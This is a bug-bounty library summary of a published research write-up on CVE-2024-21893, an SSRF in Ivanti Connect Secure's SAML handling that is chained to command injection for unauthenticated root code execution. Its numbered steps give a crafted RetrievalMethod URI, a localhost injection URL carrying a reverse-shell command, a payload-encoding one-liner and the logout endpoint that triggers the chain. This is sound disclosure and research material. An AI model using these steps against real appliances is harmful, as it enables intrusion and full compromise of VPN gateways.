# Ivanti&#39;s Pulse Connect Secure Auth Bypass Round Two

SAML KeyInfo RetrievalMethod in Ivanti Connect Secure triggers SSRF to localhost REST server, bypassing auth and chaining to command injection for root RCE.

- Payout: Research
- Severity: critical
- Program: Ivanti Connect Secure
- Credited: Assetnote
- Disclosed: 2025-02-12
- CVE: CVE-2024-21893
- Write-up quality: 9/10
- Original: https://www.assetnote.io/resources/research/ivantis-pulse-connect-secure-auth-bypass-round-two
- Library page: https://bugbountylibrary.com/r/blog%3Aassetnote-io-resources-research-ivantis-pulse-connect-secure-auth-bypass-round-two
- Tags: domain:web impact:internal-access impact:rce kind:research platform:research sev:critical tech:saml technique:chained technique:source-review vuln:auth-bypass vuln:command-injection vuln:rce vuln:ssrf

**Target:** SAML consumer CGI endpoints (/dana-na/auth/saml-consumer.cgi, saml-logout.cgi) and internal REST server on port 8090
**Root cause:** libxmltooling 3.0.2 dereferences attacker-controlled URIs in the XML Signature KeyInfo/RetrievalMethod element during signature validation, yielding SSRF. The internal REST server on 127.0.0.1:8090 trusts localhost and is vulnerable to command injection in the license keys-status endpoint.
**Steps:**
1. Configure ICS with SAML to capture a valid SAMLResponse, or craft minimal samlp:Response.
2. Replace X509Data in KeyInfo with `<RetrievalMethod URI="http://COLLAB/" />` and POST to /dana-na/auth/saml-consumer.cgi as SAMLResponse; observe Collaborator hit confirming SSRF.
3. Point RetrievalMethod URI at `http://127.0.0.1:8090/api/v1/license/keys-status/%3b%70%79%74%68%6f%6e...` (URL-encoded `;python -c '...'` reverse shell).
4. For reliability, deflate-compress and base64 the payload: `cat payload.xml | python3 -c "import base64,zlib,sys;x=zlib.compressobj(wbits=-15);x.compress(sys.stdin.buffer.read());print(base64.b64encode(x.flush()).decode())"`.
5. Send `GET /dana-na/auth/saml-logout.cgi?SpId=1&SAMLResponse=<b64>` to trigger without SAML being configured.
6. Catch reverse shell as root (uid=0).
**How found:** Advisory mentioned SSRF in SAML component; enumerated SAML CGI scripts, traced DSAuth::SAMLConsumer::process into libdsplibs.so and the saml-server binary. Grepped filesystem for error strings to locate validateSAMLResponse. Noticed xmltooling::ValidatorSuite::validate call, checked libxmltooling 3.0.2 version against advisories, found the KeyInfo RetrievalMethod SSRF advisory, and tested with a Collaborator URI.
**Exploitation:** Unauthenticated attacker sends a crafted SAML response to the SAML consumer/logout CGI. The SAML server's xmltooling signature validation fetches the attacker URI (SSRF). By targeting 127.0.0.1:8090, the attacker reaches the internal Python REST server directly, bypassing the proxy's authentication, and exploits the pre-existing command injection in /api/v1/license/keys-status to execute a python reverse shell as root.
**Escalation:** Chained SSRF auth bypass with the prior CVE-2023-46805 path-traversal/command-injection to convert SSRF into unauthenticated root RCE; switched to saml-logout.cgi to work on targets without SAML configured.
**Insight:** When a target bundles an open-source XML/SAML library, fingerprint the exact .so version and diff against upstream advisories — low-rated library SSRF bugs become critical when the internal service they reach trusts localhost and has its own injection flaw. Also, SAML logout/SLO endpoints often reuse the same consumer code as login and work even when SAML isn't configured.
